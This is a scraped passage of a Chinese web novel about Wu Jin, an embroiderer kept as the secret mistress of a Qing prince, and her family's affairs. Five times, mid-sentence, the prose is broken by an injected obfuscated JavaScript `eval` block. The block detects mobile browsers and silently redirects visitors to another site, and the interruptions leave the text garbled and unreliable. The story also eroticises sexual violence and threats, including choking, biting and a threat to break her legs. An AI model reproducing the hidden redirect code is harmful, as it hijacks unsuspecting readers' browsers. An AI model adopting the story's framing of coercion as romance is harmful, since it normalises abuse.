乌锦实在受不了,觉得自己的脖子被弄得濡湿一片,满是他的口水,她有些嫌弃地推了推他:“世子爷,你在我身上留痕迹,那我也在你身上留痕迹,世子爷回去面对福晋等人,怕是更不好解释吧。”
“你不敢,你敢在我身上留痕迹,我就掐死你。”
乌锦偏过头,气得咬紧牙关,不愿跟他说话,认命随他折腾。
“怎么不说话了?”
“世子爷想要我说什么?我怕被掐死。”
胤禛注意到她没有自称奴婢,他也没有计较,特别去纠正她,见她咬紧牙关,气得双颊鼓鼓的样子,他低声笑出来。
“放心吧,我还舍不得掐死你,留着你还有用处。”
乌锦抬眸看他一副得意的样子,她张口在他唇上咬一口,直接咬破,上次他在她身上不知道咬了多少伤口,反正他不会掐死她,她就回敬他一次。
胤禛皱眉,冷声道:“找死是不是?”
“有本事你就掐死我。”乌锦略带挑衅说道。
胤禛上手掐她脖子,她直咳嗽,他目光落在她伸出来的软.舌上,边掐着她边低头去吻她,堵住她所有声音。
又是一次酣畅淋漓,胤禛满意地叫水。
21. 第21章
第21章
乌锦累得不想起身,谢嬷嬷给她擦拭过后又端来避子汤给她喝下,本以为那人沐浴净身后便会离开,没想到他又从净房折返回来,往她身上扔东西。
乌锦差点被砸到,她见到是荷包,打开荷包一看,里面是白花花的银子,她数了数,有一百两,她抓着绣花团锦被包住赤身的自己,半跪在床上道谢:“奴婢谢世子爷给的银钱。”
胤禛觉得这个时候的乌锦有点奴才样了,低眉顺眼地谢恩,不过这银两是她应得的,既然他说好每个月给她二十两,他不会不给她,这点银两,他还是拿得出来的。
天快黑了,胤禛没有久留,带着苏培盛等人离开。
乌锦收好银两,忽而想起什么,问谢嬷嬷她需不需要给她们发月银,谢嬷嬷说她们的月银是由世子给的,无需从她这里支取,她这才暗自松口气,好不容易得到的二十两要分出去一半,她当然心疼,银子可是好东西,她没有那么清高,外室当都当了,收银子算得了什么。
时辰不早了,乌锦也穿好衣服离开,跟来时一样,一辆不显眼的马车送她回去,她已经眼熟驾车的赵师傅,她一般叫赵大哥。
好在这次他没发疯咬伤她,只是在她脖子上留下几个吻痕,吻痕过一会儿就淡化了,不细看便看不出来。
她先回铺子,后再跟彩玉一起归家。
傍晚时分,一家人围坐在一起吃饭,今日一共三菜一汤,青椒炒肉、炒菜心、腌萝卜炒蛋跟鲜菇鸡汤。
乌锦问了她阿玛乌明上学的事,秋季入学正好,官学那边有没有入学名额给到他们家,只剩下几个月便到九月,要尽早做打算。
乌志善略显苦恼地挠挠头:“阿玛刚升为佐领,这事恐怕不能由阿玛做主,阿玛回头再问问,实在不行,等明年再上官学。”
程姨娘气得拍她阿玛的手背,筷子差点被拍掉:“什么明年,孩子都快五岁了,上学的事宜早不宜迟,早点开蒙是好事,你都升为佐领了还窝窝囊囊的,自家儿子上学的事也不上心,这事,无论如何得提前搞定,你明日就去问问,看这事是谁做主。”
乌志善对妻女的话一般都很听从,不大会跟妻女反着来,他笑呵呵地说了一句他知道了,他明日就去问问。
程姨娘见他这样,都生不起气,转头跟乌锦说起她姑母四十五岁寿辰的事。
完颜氏接话道:“你姑母的寿辰轻视不得,得提前备好礼。”
乌锦晓得她姑母这个人很注重面子,讲究排场派头的人,又是敬重的长辈,这寿辰礼一定不能轻,她说道:“我这里有一些银两,小娘你先拿去,几百两那种礼,我们家送不起,姑母也晓得,尽量买些姑母喜欢的东西,我记得姑母喜欢香料,这个可以多买一些,买一些优质香。”
“你哪来的银子?”完颜氏知道上次为了救自家丈夫出狱,自家女儿的存银都花得差不多了。
“铺子这一两月的生意还行,一些贵妇出手大方,给的赏银不少。”
完颜氏听着更加心疼自家女儿,为了做绣活,女儿的手满是茧子,粗糙得很,手上不知道有多少针眼,她心疼道:“桃子,你别接那么多活,该歇息就歇息,我们平日省着点花,你夜里别偷偷刺绣,小心把眼睛弄坏。”
乌锦笑道:“额娘,我夜里不刺绣,夜里做绣活赚的银两还不够买蜡烛跟油水。”
“反正我们家平日在吃穿上节俭一些,你别太辛苦。”
程氏在一旁不说话,这家里的银两大多靠乌锦赚来,可是在乌锦身上花最少,大多都花在乌安乌明身上,两个男孩毕竟还小,尤其是已经上学的乌安,笔墨纸砚样样要花钱,乌锦是万颜氏亲生的,自然心疼乌锦,她这个时候说话会遭人嫌,只能沉默。
吃完饭后,乌锦过去程姨娘那屋,给程姨娘五十两,让她给姑母买寿礼,若有剩下,剩下那些是家用,不用在吃食上刻意节俭。
程氏握着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878502|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乌锦的手,有些担忧道:“桃子,这也太多了,给你姑母送礼顶多送一二十两的礼,花不了那么多,我们不用打肿脸充胖子,你姑母肯定晓得我们送不起太贵重的礼,既然是你自己赚的,你自己留着才是。”
乌锦无所谓道:“小娘,我们都是一家人,不用分那么清,我晓得小娘肯定会给我买好吃的做好吃的,我跟乌明一样就只喜欢吃,要是吃得不好,我一整天都会心情都不会好的,我晓得小娘不会乱花的。”
“你这孩子……”程氏知道乌锦这么说是为了宽她的心,乌锦虽不是她亲生的,但也是她从小看着长大的,她怎么会不心疼,“你额娘说得对,你要多顾着自己一点,别太劳累,十两就够了,剩下的你自己收着,女孩子总要有些贴己的银两。”
乌锦说她那里还有存银,并非全部拿出来了,推搡来推搡去,程氏才收下。
夜深了,乌家院子里安静下来。
另一边紫禁城内的乾西三所,四阿哥所住之处,此时正前院还掌着灯,屋内福晋乌喇那拉氏回到床上,她见到四阿哥嘴唇上的小伤口,昨日还没有这伤口,今日四阿哥外出回来便多了一处伤口。
她似不经意地问了一句:“爷,你嘴唇上的伤口是怎么回事?谁伤了爷?”
“是我不小心磕到的。”
乌喇那拉氏心存疑惑,要怎么磕才会磕到嘴唇上,她不敢多问,心里明白这伤口是被人咬破的。
被谁咬破,李氏还是宋氏?四阿哥不想说,她也不能逼着四阿哥说。
侍寝时,四阿哥匆匆结束,无心多做,乌喇那拉氏有些失望,但不敢表现出来,她已经入宫六年了,肚子还没有动静,她心里着急,她想让嫡长子从她肚子里生出来。
她一个人急没有用,四阿哥不急,可能四阿哥白天在李氏或宋氏那得到餍足了,所以夜里不想多做。
很快,他们同床而歇,四阿哥很快睡着,乌喇那拉氏到后半夜才睡着。
22. 第22章
第22章
过了几日,程氏去京城最好的香料铺买了六盒上等的香料,花了十两银子,又去布料铺买了六匹好料子,她又绕去自家大哥跟二哥一起开的面铺。
大嫂吕氏一见到她,忙停下手里的活迎上来,“连秀过来了,桃子的亲事是怎么回事,好端端的怎么退婚了?”
程氏说两人不合适就退了,没说太多,其实她也不知道乌锦为何要退婚,乌锦在乌家几乎是主心骨一样的存在,他们都是听乌锦的,乌锦决定的事情,他们也干预不了,对外都是说两人不合适。
“最近生意怎么样?大哥他们还好吧?”
“马马虎虎,今日就我跟你二嫂在铺子里,你大哥跟二哥这会估计在家歇息呢,这都是什么?怎么买这么多料子?”吕氏看一眼程氏手上拿着的布料,一看就不便宜。
程氏说是乌氏四十五岁寿辰将近,这些都是寿辰礼。
吕氏晓得自家姑子丈夫乌志善的堂姐乌兰英是整个乌家嫁得最好的人,嫁给三等侍卫纳喇氏,纳喇一族跟康亲王府跟简亲王府都沾点姻亲,给这样的人家送礼一定不能寒碜。
自家姑子其实嫁得也好,至少乌志善是镶蓝旗出身的,如今也升为佐领了,尽管是当妾,但两个小侄子一出生便属于八旗子弟,完颜氏又只生了一个女儿,不比程家的男人,世世代代只是汉人,一辈子没什么当官的机会。
“来都来了,吃碗面再走。”吕氏说道。
“多做几碗吧,我给我们家桃子她们带过去当午膳。”
程氏过去铺子后面跟她二嫂打一声招呼,她吃面的时候跟她大嫂二嫂闲聊最近家里发生的琐事,她两个侄子跟乌安差不多大,不过他们没有读书,读了也当不了官,连普通牛录都当不了,早早就在铺子里跟着干活了。
吕氏说道:“乌安聪明,将来说不定比他阿玛还有出息,对了,桃子既然退婚了,还打算说亲吗?”
程氏回道:“我们家桃子的性子你们也知道,打小就有主意,说亲这事主要随她,她要是不愿意,我们也劝不动她。”
吕氏叹口气,惋惜道:“桃子以前多好看啊,要是你们小时候看管好,脸上也不会落下那么大一块疤而破相,她的亲事哪会这么不顺,说不定凭着好看的脸庞能被选中进宫当主子呢,再不济也能嫁个王公侯爵。”
乌锦脸上那道疤是七岁时落下的,过年的时候,她一个人出去玩,不知是谁放鞭炮不小心朝着乌锦的脸炸去,导致乌锦的脸留下去不掉的烧伤疤,现在说这些也没有用了,程氏快些吃面,怕乌锦她们在铺子里挨饿呢,她还得过去给她们送吃的。
临走前,她塞给她大嫂跟二嫂一人二两银子。
程氏两手满满,提着放着打卤面的三层食盒走去绣秀苑,走进绣秀苑所在半壁街时,她瞥见一个熟悉的身影,那不是张宗嘛,张宗就站在绣秀苑门口的斜对面。
自从乌锦跟张宗退婚,聘礼还回去给张家后,两家人基本上没什么往来,她也很少见到张宗,张宗清减不少,身形瘦削,只见他巴巴地盯着绣秀苑的门口,不知在看什么。
许是察觉到有人在看他,张宗对上她的视线,什么也没说,脸色沉郁地转身离开,连招呼都不打,程氏觉得奇怪,张宗为何会一直站在那里,他是不是想找乌锦,来看乌锦的。
程氏进铺子里面,先把食盒递给彩玉,又把买来的香料布匹呈给乌锦看,看还需不需要再添点别的。
乌锦笑道:“不用了,这些就够了,小娘可是去程大舅他们那?我闻到打卤面的香味了,是我熟悉的味道,我好久没吃大舅他们做的打卤面了,想念得很。”
程氏柔声道:“你这鼻子灵的,是你二舅妈做的卤面,给你们加了很多卤子,里头有不少肉,先趁热吃,凉了就不好吃了。。”
乌锦跟彩玉坐在小方桌上吃面。
程氏面色有些犹豫,问了一句:“桃子,这阵子你跟张宗还有往来吗?”
乌锦抬头:“张宗?我有一个多月没见到他了,没什么往来了,怎么突然问起这个?”
程氏将她方才在外面见到张宗的事告诉乌锦,说他不知站在那站了多久。
乌锦听完后皱眉,上次张宗来找她,她说了许多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886764|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
话,她以为张宗就此放下了。
“小娘,这事你就别管了,我见到他会跟他说清的。”
“两家不宜结仇,能说清就说清,别结怨恨,我看张宗瘦了不少,看上去挺可怜的。”
乌锦点点头,说她知道了。
程氏在铺子里坐一会便拿着东西离开。
几日过去,自从小娘跟她说过后,乌锦特意留心铺子周围来往的人,偶尔从铺子里出来看看,但并未见到张宗。
眨眼间到了六月七日,这日是她姑母四十岁的寿辰,乌锦跟她额娘她们早早过去姑母那帮忙。
这次姑母的寿辰宴是大办的,请了不少人,她们算是娘家人,一早帮着收拾,忙活一上午,午时将近,宾客陆陆续续前来。
乌锦随着她姑母的两个儿媳,她的堂嫂们一起在后院招待过来的女眷,女眷们都聚在后院的东次间一起闲聊,炕上摆着各式瓜果跟零嘴,她主要负责端茶倒水。
“乌锦,你再去膳房那边拿些点心过来。”大堂嫂安佳氏差遣吩咐她。
“好,我这就去。”乌锦转身离开,身后不知道是谁问了一句,问安佳氏她是谁,是不是府里的下人,只听到安佳氏笑着说她不过是一远房亲戚,只是过来帮忙的,言语之间有些轻视。
乌锦自然明白姑母一家其实挺看不起他们家的,她阿玛虽然升为佐领,不过这小佐领是不入流的武官,比不上姑父的三等侍卫,她的大堂哥小时候是四皇子胤禛的哈哈珠子,如今也领了侍卫的缺,从三等侍卫当起,再过几年可能就升为二等侍卫了,上三旗出身的人升得快。
姑母一家对于他们家的态度一直以来都是有些颐指气使,高高在上的,甚至还会摆架子,其实姑母人不坏,真出事也会帮他们,不过这么多年,姑母一家总觉得他们攀着他们,导致姑母潜意识里是瞧不起他们家。
乌锦虽说是娘家人,但其实也算是客,也送礼了,但他们会把她当成府里的下人使唤,让她帮这帮那,忙这忙那,这么多年都是如此。
乌锦习惯了,不好撕破脸皮,低人一等,有求于人便是如此。
23. 第23章
第23章
乌锦对姑母府邸也熟悉,正准备过去膳房那边时,张宗不知从哪冒出来,拦住她去路,应是姑母也给张家发请帖了。
张宗不言,只是挡住她去路,许是不知要说些什么,人看上起很是颓丧,也瘦了不少。
这府里上上下下都是人,前院后院都隐隐约约有人声传来,乌锦示意张宗到别处说话,他们到旁边人少的角落,还是乌锦先开口。
“伤都好了吗?”
张宗见乌锦肯跟他说话,他心中酸涩少一些,回道:“都好了,已无大碍,我伤重那几日昏昏沉沉,人不清醒,事后才知道是你守在床边照顾我几日,若是没有你照顾我,我恐怕都活不了。”
“我并非大夫,哪有那么大的本事,我不过是尽微薄之力,你不用放在心上。”
张宗仔仔细细盯着乌锦看,眼中充满绵长浓烈的情意,在乌锦抬眸时,他又装作自然平静的样子。
“张宗……”乌锦欲言又止,“这世间女子千千万万,比我好的女子更是数不胜数,你没必要在我这里执着,你懂吗?”
“我明白的,你不必为难,我已经放下了,我们自小相识,即使当不了夫妻,我们仍然可以做朋友,可以跟以前那样往来,不用避着对方,我家已经为我重新寻了一门亲事,若是顺利,我明年便会娶他人为妻。”
听张宗这么说,乌锦松一口气,他想开就好,她露出笑脸:“是,我们可以继续做朋友,我还要过去膳房那边拿点心,先不跟你说了,我忙去了。”
张宗嗯了一声,看着乌锦离开,乌锦顾着去膳房,没注意到斜前方站着好几个人,一个是简亲王世子,一个是四阿哥,还有查诺。
张宗跟乌锦说话时便发现他们了,乌锦背对着他们并未察觉,在乌锦离开后,他上前给四阿哥等人行礼,语气十分平静。
“给四阿哥、世子爷请安,四阿哥、世子爷万福,纳喇大人万福。”
查诺作为乌锦的大堂哥,自然知晓张宗跟表妹的关系,只是两人都退婚了,怎么还去角落单独说话,被人瞧见不知要传出什么风言风语,在四阿哥跟世子面前,查诺没有问张宗跟表妹在此做什么,只说道:“我听闻张大人前阵子受了伤,如今好些吗?”
“已无大碍,多谢纳喇大人关心。”
寿宴快要开始了,查诺示意四阿哥跟世子前去大堂那边落座,张宗跟在他们后面。
乌锦一直在后院女眷当中转,跟个下人一样忙碌,并没有过去前院男眷那边,她并未见到四阿哥等人,好不容易等到席宴开始,她才有机会落座。
她跟她两个堂嫂是坐在一桌的,同桌中人大多属于同辈,她正默默夹菜,降低自己的存在感时,六品文官内阁侍读杨大人的女儿杨淑宜突然说了一句:“我阿玛前阵子收到张参领送来的喜帖,说是长子三月初要娶妻,后来听说婚期推延,再后来整个婚事取消,又不娶了,谁知道发生了什么事了?”
八卦是人人都喜欢的,杨淑宜这两句话顿时引起大家好奇心,认识乌锦的人目光有意无意地落在她身上,都知道她是当事人。
“可能张家公子见到人后觉得长得不好看,便让家里人退婚,我听说张家公子相貌堂堂。”
此话一出,好几个人纷纷捂嘴偷笑,很明显她们知道张宗要娶的人是她,她们这是在笑她容貌丑陋,乌锦面色平静,慢慢放下筷子,直说道:“你们说得有理,张家公子的确是见到我后决定退了这门亲事,我貌丑无颜,配不上张家公子。”
桌上的人听她这么说,反而不敢接话,她们只敢隐晦地嘲讽,觉得乌锦不会跳出来承认张家公子要娶的人是她,大家忽然静默下来。
安佳氏见气氛不好,连忙出来打圆场:“好啦好啦,大家只是说笑而已,乌锦,你别太当真,你起来给大家倒酒吧,大家小酌一杯。”
乌锦扫了安佳氏一眼,没有起身,只说道:“我这手刚刚扭了一下,恐怕倒不好酒,谁想喝酒就自己倒吧。”
安佳氏见乌锦当众拒绝她,她脸色顿时冷下来,觉得乌锦不识好歹,刚想发作就被人拍拍手背摁下。
“我来我来,来者是客,大家百忙之中过来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894584|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
参加家母的寿宴,我要敬大家一杯。”
二堂嫂富察氏起身,给每个人斟酒,让大家吃好喝好,若是还想吃别的,只管吩咐她,她绕到乌锦这边时,也安抚性地拍拍她肩膀。
富察氏这一敬酒打岔,气氛才恢复一些。
过了一个多时辰,寿宴差不多结束,大家陆陆续续散开,各自归家,姑母等人在前头送客,乌锦跟她额娘她们在后面帮忙收尾。
等人走得差不多时,姑母他们回到正堂,她们才过去跟姑母说一句祝福语。
“你们今日也辛苦了,人来得多,没能好好招待你们,你们的心意,姑母都晓得的,锦儿,你放心吧,姑母会为你留意好的人家,是张家没福气,不是我们没福气,你肯定能找到比张家更好的夫家。”
乌锦笑着说一句谢谢姑母。
乌兰英握着乌锦的手,塞给她一个手镯。
“这镯子你收下,女孩子家总要有几件拿出手的首饰。”
乌锦没跟姑母推来推去,笑着收下那只镯子。
从姑母府里出来后,完颜氏才端详那只镯子。
“额娘,你干什么?”
“我看是不是好东西,你姑母这些年就没给我们家送过什么贵重的东西。”
乌锦笑了笑,说这镯子看起来成色不错,应该值十几两银子。
程氏在一旁说了一句:“我们给她送礼都花了二十两,这镯子只值十几两,这些年乌兰英从我们家捞了多少银两,今天一天也只管使唤我们,把我们当她府里的下人,下回我们别送那么贵重的礼了。”
“是,下回我们送少一些。”乌锦附和道。
三人慢慢走回家,这些年,她们用银子才能攀着姑母一家,毕竟姑母跟她们家隔着两代,并非十分亲近直系的亲戚关系,人家也不会无缘无故帮衬你,姑母人不坏,但看不起她们,也喜欢占她们便宜,她们都习惯了,谁让她们家无权无势,低人一等,嘴上抱怨几句就算了,其实她们家更像是依附的藤,缠绕其中使其枝繁叶茂,供予大树营养,她们也能得到大树的照拂。
24. 第24章
第24章
第二日,乌锦跟彩玉刚从家里走到绣秀苑时便见到谢嬷嬷在铺子附近,似乎在等她,彩玉过去开门营业,她过去跟谢嬷嬷说话,果然,又是那人找她。
“劳烦嬷嬷让赵师傅午时过来接我。”
谢嬷嬷离开后,乌锦才走进她的铺子,她到铺子后面作画,先把要绣的图案画出来,一上午都在作画,直到赵师傅出现,她才惊觉已到午时,她让彩玉在铺子里看着。
因过去外城宅子那边需要半个时辰左右,乌锦拿了两本话本子在马车上读阅,赵师傅驾车时很平稳,她在车厢里面可以安安稳稳地坐着,除非路本身颠簸。
到了宅子时,那人还没来,乌锦只能等,谢嬷嬷她们也会为她准备各式各样的吃食,包括将新鲜的瓜果切好放在炕几上,她只需用银签一叉便能放入口中。
胤禛进来时见到乌锦十分舒适地倚着铺炕墙边,两条腿平放在铺炕上,炕几上是满满的吃食,她一手翻书一手捏着细长的银签,时不时插一块切好的香瓜放进嘴里,看上去悠闲得很,不知道的还以为她是宫里的主子。
乌锦平日里忙得很,成天刺绣,管着铺子里的账,有时候还得外出采买,这是她难得闲下来的时光,光被挡住时,她抬头见到来人,被吓一跳,这人走路怎么悄无声息的,不知他在那里站了多久。
她刚要下炕行礼,他抬手制止,坐在炕几的另一边。
乌锦见他坐下,很有眼力劲地先给他倒茶,然后问他要不要吃香瓜,她可以让嬷嬷再切一盘过来。
“你昨日都干什么了?”
“昨日?昨日是奴婢姑母的寿辰,奴婢过去姑母家参加寿宴了。”
胤禛屈指轻轻叩着炕几桌面,有一下没一下的,他冷冷地盯着乌锦。
乌锦对上他冷冽的目光,心里一紧,怕这人又发疯,他这么问,难不成他昨日也参加了姑母的寿宴?
她无视他眼神的压迫,用银签叉一块香瓜递到他嘴边,柔声道:“这六月份的香瓜甜润多汁,世子爷要不要吃一块?”
“你倒是会讨好卖乖。”
被说的乌锦想把香瓜硬塞到他嘴里,见他没有要吃的意思,她刚想把手撤回,却被他猛地抓住手腕,他就着她的手吃下那块香瓜,她不得不半倾身。
“世子爷还想吃吗?”
“我想吃别的。”
乌锦起初没有意会他话中意思,她寻思着这会是用午膳的时辰,他应是饿了,她视线往炕几上一扫,又夹了一块点心桂圆糕给他,还问一句要不要让谢嬷嬷备膳。
胤禛目光晦暗,没吃那块桂圆糕,直接起身往内间走去。
乌锦这才明白他那句话的意思,她可不敢让他久等,只能下炕,亦步亦趋地跟在他身后,在他站定在床边时,她过去伺候他,帮他解开衣襟。
这人高她一头,她只到他胸前,在她解他上襟的白玉镂雕竹叶扣时,这人便贴着她的脸,开始啄吻。
乌锦动作慢了一些,她的下巴被钳住,她不得不抬头,对上他已经染上一点情.欲的目光,他的指节伸入她的檀口,她不得不张嘴启唇,很快他低头,攫住她双唇,温热的舌探进来。
胤禛察觉到她的顺从与迎合,嘴角划过一抹讽刺,不愧是能当外室的女人,十分懂得伺候男人,懂得让男人愉悦,跟勾栏女子没什么两样。
他咬她唇上的那点软肉,惹来她睁眼,上次他被咬,嘴上留下小伤口,被福晋问了一句,这次他得咬回来。
“世子爷,不要。”
“不要什么?”
“世子爷,你咬别的地方吧,没露出的地方都可以。”
“呵……”
胤禛轻笑一声,低声道:“我偏要咬这里。”
乌锦低头沉默,不再言语。
胤禛见她不说话,直接将她的唇咬破,她吃疼,瞪他一眼,他心想果然惹急了才敢瞪人。
到后面结束时,乌锦身上又多了几道伤口,比他发疯时要好一些,只是轻微破皮,没有遍布全身,约莫有七八个,嘴唇上的伤口最为疼痛,乌锦觉得这人在床上有特殊的癖好。
以往他都是很快叫水起身去沐浴,这会事后他还躺在床上,还是外侧,在里侧的乌锦只能跟着躺着,闭眼假寐。
等有窸窣的声音,旁边的人起身时,她才悄摸地睁开一只眼,他终于叫人进来了。
谢嬷嬷跟瓜嬷嬷进来伺候他。
人过去净室那边后,乌锦才两只眼都睁开,瓜嬷嬷折返回来,端来一碗避子汤。
“乌姑娘,你可要用膳?”
乌锦想着那人离开后,她也会离开,不会在这里多待,午膳的话,她回去再吃,于是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903258|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她摇头拒绝瓜嬷嬷。
胤禛净完身后又回来内间,他目光落在还坐在床上的人身上,她这会穿着白色寝衣,松松垮垮,露出半边肩颈。
“不睡了?”他讥笑道。
乌锦被戳穿,略显心虚,她回道:“嬷嬷要我喝避子汤。”
言下之意就是她是为了喝避子汤才起身的,这避子汤还是他吩咐让嬷嬷盯着她喝的。
胤禛冷扫了她一眼,沉声道:“下回不要让我再撞见你跟张宗站在一块,再有下次,你身上就不止这些伤口了。”
乌锦大吃一惊,原来他昨日真见到她了,他今日过来是惩处她的,他的眼神突然间又变得渗人许多,憋了这么久,要走的时候才跟她说,存心让她犯怵,怕他又去刁难折磨张宗,眼看着他要离开,她下床拦住他。
“昨日我跟张宗不过是说几句话而已,并无私情,我跟他昨日是偶遇,我并不知道姑母也邀请了他。”
胤禛抬起她的下巴,语气森然:“如今你是我的女人,你若还跟其他男人有私情,暗中往来,我定让你生不如死!”
“我跟张宗如今清清白白,世子爷别以小人之心度君子之腹,用莫须有的罪名来污蔑我,我日后见到张宗,也不会刻意躲避,刻意躲避才是心里有鬼,我坦坦荡荡,我知道我既然跟了世子爷,便是世子爷的人,我不会做对不起世子爷的事,世子爷也别随意污蔑诽谤我。”
胤禛见乌锦昂着头,用一双黑白分明的眸子睃着他,一副理直气壮又要辩个明白的样子,她赤着脚,白色寝衣又滑落在侧肩上,光洁的肩膀露出,上头还有他留下来的痕迹。
谢嬷嬷跟瓜嬷嬷在一旁不敢出声,主子的事,她们哪敢置喙。
“出去!”主子爷的话让她们仿佛获得特赦,连忙退出去。
谢嬷嬷多看了乌姑娘一眼,她之前不觉得乌姑娘能飞上枝头变凤凰,甚至心里不把乌姑娘当真正的主子看,觉得乌姑娘不过是主子爷消遣的玩物,等主子爷兴头过去,乌姑娘可能会被摈弃,就凭乌姑娘那张脸,她不可能成为真正的主子。
可今日见乌姑娘敢跟主子爷这般说话,她突然觉得乌姑娘可能会有一番大造化,说不定会成为真正的主子。
她想着日后不能太怠慢乌姑娘,得敬着一点,指不定日后乌姑娘会大有不同,不止是主子爷的外室。
25. 第25章
第25章
乌锦被他攥住手腕,往床上一甩,她后脑勺差点磕到床沿,只见他又倾身过来完全压住她。
“你最好是坦坦荡荡,不然我抽掉你的筋,打断你的腿,让你日后只能躺在床上,哪也去不了。”
乌锦听着他极具威胁的话语,她是害怕他对付张宗,倒不怕他折磨自己,她依旧梗着脖子:“我就是坦坦荡荡,我跟张宗已经是过去,跟他说几句话并不代表我跟他有私情,若是女子跟男子说几句话就代表有私情的话,这天底下真正清白的人所剩无几。”
胤禛知道这女人能言善辩,此时他不想听她说这些,谅她也不敢背着他跟张宗暗度陈仓,他堵住她的嘴,呼吸变得粗重,在这个卑贱的女人这里,他不会压制自己的欲望,他可以尽情地发泄。
他手上的力道没轻没重,将她白皙的皮肤捏得青一块紫一块。
“疼……”
“受着。”他语气冷漠,不管她的呢喃,她气得直接在他肩头咬一口,怕她又在他身上留下痕迹,他用手捏住她下巴,恶狠狠道:“再乱咬,信不信我拔掉你的牙。”
“疼。”
胤禛见她娇气地喊疼,她那双清澈的双眸仿佛蒙上一层水雾,透着无尽委屈,他心生恻隐,手上的力道还是放轻一些。
乌锦是真的疼,他像是在使劲掐捏她,谁受得了,好在后面这人停止发疯,本来都来过一次了,他都沐浴净身了,结果又来一次。
事后,乌锦能闻到淡淡的膻味,她是真的累睡过去,等她醒来时,身旁已经没人,外面天色也有些暗了,她赶忙起身。
在外间的谢嬷嬷听到动静后进来,过来帮乌锦穿衣。
“嬷嬷,几时了?”
“已是申时三刻。”
乌锦匆匆穿好衣服,她跟谢嬷嬷说下次她若是睡过去,半个时辰左右一定要叫醒她,她天黑之前一定要赶回家的。
“好的,我记下了,马车就在外头了,乌姑娘要是急的话,可以让赵师傅快些。”
乌锦对着谢嬷嬷说声谢谢,她很快走出宅子,坐上马车时跟赵师傅说要快些,她连话本子都不看了,在车厢内想着那人何时才能厌倦她,这样的日子何时才能到头。
好在他找她次数不多,不会太过频繁找她,乌锦的日子才过得安稳一些。
不知不觉中又过去半个月,她阿玛虽升为佐领了,但他手头上没有官学的名额,乌明上镶蓝旗官学的事又得寻人帮忙,乌锦拿出二十两交给小娘,让她给上次帮乌安入学的江佐领送礼,看能不能有一个名额让乌明入读官学。
只是礼送过去了,又被退回来,说是他手头上的名额已经满了,今年入学的人很多,他恐怕帮不到他们,他们一家人只能另找他人。
七月三日,乌锦正在铺子里盘点剩余的纱线时,彩玉突然用手肘撞了撞她,示意她回头,她回头见到来人是张宗跟他的妹妹张芸。
张宗先开口道:“家母生辰将至,我们想找你刺一幅画送给她。”
“来得及吗?秦姨的生辰是什么时候?”
“九月底。”
“什么画?拿来给我看看。”
张宗拿出一幅画,应是一幅双人画像,画得很传神,他解释说是他父母两人的画像,两人成婚二十年,他们想给父母留一个纪念。
乌锦问他们大概要绣多大篇幅的画像,长多少寸,宽多少寸,用什么丝线,绣在什么料子上。
张宗一一回答,不清楚的地方再反问她。
乌锦跟兄妹两说了快半个时辰,收了三两订金后,她算是正式接了这份绣活。
“我听说你小娘为了乌明为上官学的事寻人帮忙,其实我可以帮忙。”
乌锦抬眸对上张宗的目光,笑着婉拒:“不用了,乌明反正也才四岁,今年上不了明年再上也行,就不麻烦张大哥了。”
张宗心里明白乌锦这是想跟他划清界限,宁愿让乌明晚上一年也不愿意开口找他帮忙,只是她不是跟简亲王世子在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14907228|159685||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一块嘛,她为何也不找简亲王世子帮忙,世子一开口,乌明哪怕是现在想入学都可以。
